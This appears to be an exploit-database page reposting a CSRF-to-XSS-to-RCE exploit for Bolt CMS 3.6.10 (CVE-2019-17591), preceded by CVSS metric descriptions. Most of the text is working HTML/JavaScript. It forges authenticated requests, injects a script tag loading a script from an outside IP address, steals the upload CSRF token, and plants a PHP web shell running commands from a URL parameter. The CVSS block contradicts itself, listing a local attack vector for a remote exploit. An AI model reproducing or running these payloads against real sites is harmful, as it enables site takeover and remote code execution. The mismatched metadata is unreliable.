Bolt CMS 3.6.10 Cross Site Request Forgery
CVE
Category
Price
Severity
CVE-2019-17591
CWE-352
$1,000
Medium
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2019-10-16
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Attack Requirements Present AT The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker). Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality Low C There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations. Integrity Low I Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system. Availability None A There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019100106 Bolt CMS 3.6.10 Cross Site Request Forgery # Exploit Title: Bolt CMS 3.6.10 - Cross-Site Request Forgery
# Date: 2019-10-15
# Exploit Author: r3m0t3nu11[Zero-Way]
# Vendor Homepage: https://bolt.cm/
# Software Link: https://bolt.cm/
# Version: up to date and 6.5
# Tested on: Linux
# CVE : N/A
# last version
# Csrf p0c
<html>
<body>
<head>
Bolt v 3.x exploit 0day
</head>
<h1>Bolt v 3.x csrf -> xss -> rce exploit</h1>
<img src ="
https://66.media.tumblr.com/8c1e5f1a62191b9091fd8736f8c4810b/tumblr_pf6q303FlE1vgbzx6o1_r1_400.jpg">
<script>
function submitRequest()
{
Csrf = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/127.0.0.1\/index.php\/async\/folder\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type",
"application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "parent=&foldername=sss&namespace=files";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
};
JSfuck1();
}
}
JSfuck1 = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/async\/file\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 = "filename=aaa&parentPath=sss&namespace=files";
xhr.send(body1);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
}
};
where();
}
where = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/async\/file\/rename",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body2 =
"namespace=files&parent=sss&oldname=aaa&newname=aaa%3Cscript+src%3D'http%3A%26%23x2f%3B%26%23x2f%3B45.63.42.245%26%23x2f%3Bfinal.js'%3C%26%23x2f%3Bscript%3E.jpg";
xhr.send(body2);
}
Csrf();
}
</script>
<form action="#">
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
JS p0c
<script>
Token = async () => {
var xhr = new XMLHttpRequest();
xhr.open("GET", "\/index.php\/bolt\/files", true);
xhr.responseType = "document";
xhr.withCredentials=true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
doc = xhr.response;
token = doc.getElementsByName("file_upload[_token]")[0].value;
upload(token);
console.log(token);
}
};
xhr.send();
}
upload = async (csrfToken) =>{
var body =
"-----------------------------190530466613268610451083392867\r\n" +
"Content-Disposition: form-data; name=\"file_upload[select][]\";
filename=\"r3m0t3nu11.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"<?php system($_GET['test']);?>\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[upload]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[_token]\"\r\n" +
"\r\n" +
token
"-----------------------------190530466613268610451083392867--\r\n";
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/bolt\/files", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------190530466613268610451083392867");
xhr.withCredentials = true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
Shell();
}
};
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
Shell = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/file/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=&oldname=r3m0t3nu11.txt&newname=dd%2Fphp-exif-systemasjpg%2Faa%2Fphp-exif-system.php%2Faaa.jpg";
xhr.send(body1);
bypass();
}
bypass = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/folder/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=dd%2Fphp-exif-systemasjpg%2Faa/php-exif-system.php%2f&oldname=aaa.jpg&newname=bypass.php";
xhr.send(body1);
bypass2();
}
bypass2 = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/folder/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=dd%2Fphp-exif-systemasjpg%2Faa/&oldname=php-exif-system.php&newname=bypass1";
xhr.send(body1);
}
Token();
</script>
version 6.5
CSrf p0c
<html>
<body>
<head>
Bolt v 3.x CVE-2019-17591 exploit
</head>
<h1>Bolt v 3.x csrf -> xss -> rce exploit</h1>
<img src ="
https://66.media.tumblr.com/8c1e5f1a62191b9091fd8736f8c4810b/tumblr_pf6q303FlE1vgbzx6o1_r1_400.jpg">
<script>
function submitRequest()
{
Csrf = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/bolt-4mti18.bolt.dockerfly.com\/async\/file\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type",
"application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "filename=test&parentPath=&namespace=files";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
JSfuck();
}
};
}
JSfuck = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/bolt-4mti18.bolt.dockerfly.com\/async\/file\/rename",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 = "namespace=files&parent=&oldname=test&newname=<img src='x'
onerror=alert(1)>";
xhr.send(body1);
}
Csrf();
}
</script>
<form action="#">
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
Js p0c
<script>
Token = async () => {
var xhr = new XMLHttpRequest();
xhr.open("GET", "\/bolt\/files", true);
xhr.responseType = "document";
xhr.withCredentials=true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
doc = xhr.response;
token = doc.getElementsByName("file_upload[_token]")[0].value;
upload(token);
console.log(token);
}
}
xhr.send(null);
}
upload = async (csrfToken) =>{
var body =
"-----------------------------190530466613268610451083392867\r\n" +
"Content-Disposition: form-data; name=\"file_upload[select][]\";
filename=\"r3m0t3nu11.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"<?php system($_GET['test']);?>\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[upload]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[_token]\"\r\n" +
"\r\n" +
token
"-----------------------------190530466613268610451083392867--\r\n";
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/bolt\/files", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------190530466613268610451083392867");
xhr.withCredentials = true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
Shell();
}
};
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
Shell = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/\/async\/file\/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 =
"namespace=files&parent=%2f&oldname=r3m0t3nu11.txt&newname=b.php";
xhr.send(body1);
}
Token();
</script>
proof of concept :
https://drive.google.com/file/d/1TRjzOM-q8cWK1JA9cN1Auhp7Ao3AXtbp/view?usp=sharing
https://drive.google.com/file/d/1QSE7Dnx0XZth9WciaohjhA6nk_-9jCr1/view?usp=sharing
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Virus,m7md1337,D3vil1337,and all my friends
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